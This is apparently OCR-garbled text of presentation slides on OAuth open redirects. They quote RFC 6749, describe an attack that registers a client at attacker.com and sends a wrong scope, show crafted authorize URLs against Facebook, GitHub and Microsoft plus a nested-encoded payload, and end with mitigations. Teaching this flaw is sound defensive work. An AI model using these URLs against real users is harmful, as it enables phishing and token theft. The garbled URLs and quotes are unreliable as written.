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The Speci fication

rfce 749 - section 4.1.2.1

the request fails due to a missing, 1invalid, or mismatching
|lirection URI, or if the client identifier 1s missing or 1invalid,
» authorization server SHOULD inform the resource owner of the
‘or and MUST NOT automatically redirect the user-agent to the
/alid redirection URI.

the resource owner denies the access request or 1if the request
1s for reasons other than a missing or invalid redirection URI,
» authorization server informs the client by adding the following
‘ameters to the query component of the redirection URI using the
)plication/x-www-form-urlencoded" format,



The Probl em
Open Redirect OMASP TOP 10

..an application that takes a paraneter and
redirects a user to the paraneter value w thout any

validation. This vulnerability is used in phishing
attacks to get users to visit nalicious sites

w thout realizing it.



The Attack

Y="at t acker

* Registers a new client to the victi mcom provi der
* Regi sters a redirect uri |ike attacker.com

*Craft a special URI of the form(wth a wong
scope)

http://victimconfauthorize?response_type=
code&client id

=0bc88Fi t X1298KPj 2W6259BBVR9 KCf L 38scope=
VRONG SCOPE&redirect _uri=nttp://attacker.com
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Li ve Exanpl es

 Facebook: https://graph. facebook. cont oaut h/
aut hori ze?response type=codeé&client id
=1621835668046481& edi rect _uri =http://ww. attacker. com
[ 86 cope=\RONG SCOPE

* Gi thub: https://github. condl ogi n/ocauth/authori ze?response_type=

codeéredi rect _uri
=http://attacker.con?&lient i d=e2ddb90328315¢c367bl1

* Mcrosoft: https://login.live.com
[ oaut h20 _authori ze. srf?response_type=code&edirect uri =http://
attacker. conéclient i d=000000004C12822C
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Security Conprom se:
The Authorization Server As Open
Redi rector

https://AUTHORI ZATlI ON SERVER/ aut hori ze?response_t ype=t oken

&l 1 ent 1 d=good-client&scope=VALI D SCOPE & edirect uri=nttps%3A
%2F%AUTHORI ZATI ON SERVERY%aut hori ze Y3Fresponse type%3Dcode
%26client 1 d¥3Dattacker-client-id %6scope¥3D NVALI D SCOPE
%R6redi rect uri Y8Dhtt ps9%253A%52F%252Fattacker. com



The M tigation

https://tools.ietf.org/id/draft-bradl ey-oauth-open-
redi rector-01. txt

e Respond with an HITP 400 (Bad Request) status code
(rather than 302)

e Performa redirect to an i nternedi ate URlI under the
control of the AS to clear referer

* The fragnent "# =" MJST be appended to the error
redi rect URI.
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